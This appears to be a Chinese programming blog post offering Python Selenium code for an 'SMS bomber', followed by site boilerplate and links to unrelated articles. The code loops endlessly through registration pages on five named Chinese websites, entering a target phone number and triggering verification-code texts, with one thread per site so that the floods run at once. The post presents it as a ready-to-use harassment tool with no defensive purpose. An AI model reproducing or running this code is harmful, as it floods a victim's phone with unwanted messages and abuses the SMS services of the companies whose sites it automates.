Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python搭建虚拟环境的步骤详解
Sep 27 Python
python+selenium识别验证码并登录的示例代码
Dec 21 Python
详解python使用递归、尾递归、循环三种方式实现斐波那契数列
Jan 16 Python
python实现csv格式文件转为asc格式文件的方法
Mar 23 Python
python方法生成txt标签文件的实例代码
May 10 Python
python自动发邮件总结及实例说明【推荐】
May 31 Python
使用python 将图片复制到系统剪贴中
Dec 13 Python
python 类之间的参数传递方式
Dec 20 Python
Django关于admin的使用技巧和知识点
Feb 10 Python
细说NumPy数组的四种乘法的使用
Dec 18 Python
Python自动化测试基础必备知识点总结
Feb 07 Python
python Tkinter模块使用方法详解
Apr 07 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
php的array数组和使用实例简明教程(容易理解)
2014/03/20 PHP
PHP根据传入参数合并多个JS和CSS文件的简单实现
2014/06/13 PHP
PHP进程通信基础之信号量与共享内存通信
2017/02/19 PHP
在Laravel中使用GuzzleHttp调用第三方服务的API接口代码
2019/10/15 PHP
PHP程序员简单的开展服务治理架构操作详解(三)
2020/05/14 PHP
toString()一个会自动调用的方法
2010/02/08 Javascript
jquery ajax提交表单数据的两种实现方法
2010/04/29 Javascript
Nodejs极简入门教程(三):进程
2014/10/27 NodeJs
window.setInterval()方法的定义和用法及offsetLeft与style.left的区别
2015/11/11 Javascript
JavaScript操作class和style样式代码详解
2016/02/13 Javascript
Js与Jq获取浏览器和对象值的方法
2016/03/18 Javascript
全面解析标签页的切换方式
2016/08/21 Javascript
值得学习的bootstrap fileinput文件上传工具
2016/11/08 Javascript
jQuery居中元素scrollleft计算方法示例
2017/01/16 Javascript
微信小程序 本地数据读取实例
2017/04/27 Javascript
jQuery插件FusionCharts绘制的2D条状图效果【附demo源码】
2017/05/13 jQuery
详解vee-validate的使用个人小结
2017/06/07 Javascript
webstorm添加vue.js支持的方法教程
2017/07/05 Javascript
基于Axios 常用的请求方法别名(详解)
2018/03/13 Javascript
ES6 Symbol数据类型的应用实例分析
2019/06/26 Javascript
基于js实现复制内容到操作系统粘贴板过程解析
2019/10/11 Javascript
vue解决花括号数据绑定不成功的问题
2019/10/30 Javascript
JS面向对象编程基础篇(三) 继承操作实例详解
2020/03/03 Javascript
vscode 使用Prettier插件格式化配置使用代码详解
2020/08/10 Javascript
[03:24]DOTA2超级联赛专访hao 大翻盘就是逆袭
2013/05/24 DOTA
归纳整理Python中的控制流语句的知识点
2015/04/14 Python
Python unittest discover批量执行代码实例
2020/09/08 Python
详解H5 活动页之移动端 REM 布局适配方法
2017/12/07 HTML / CSS
html5 datalist 选中option选项后的触发事件
2020/03/05 HTML / CSS
德国大型的家具商店:Pharao24.de
2016/10/02 全球购物
表扬信格式
2014/01/12 职场文书
消防安全责任书范本
2014/04/15 职场文书
毕业生个人自荐书
2015/03/05 职场文书
手机销售员岗位职责
2015/04/11 职场文书
干部外出学习心得体会
2016/01/18 职场文书
SQLServer 日期函数大全(小结)
2021/04/08 SQL Server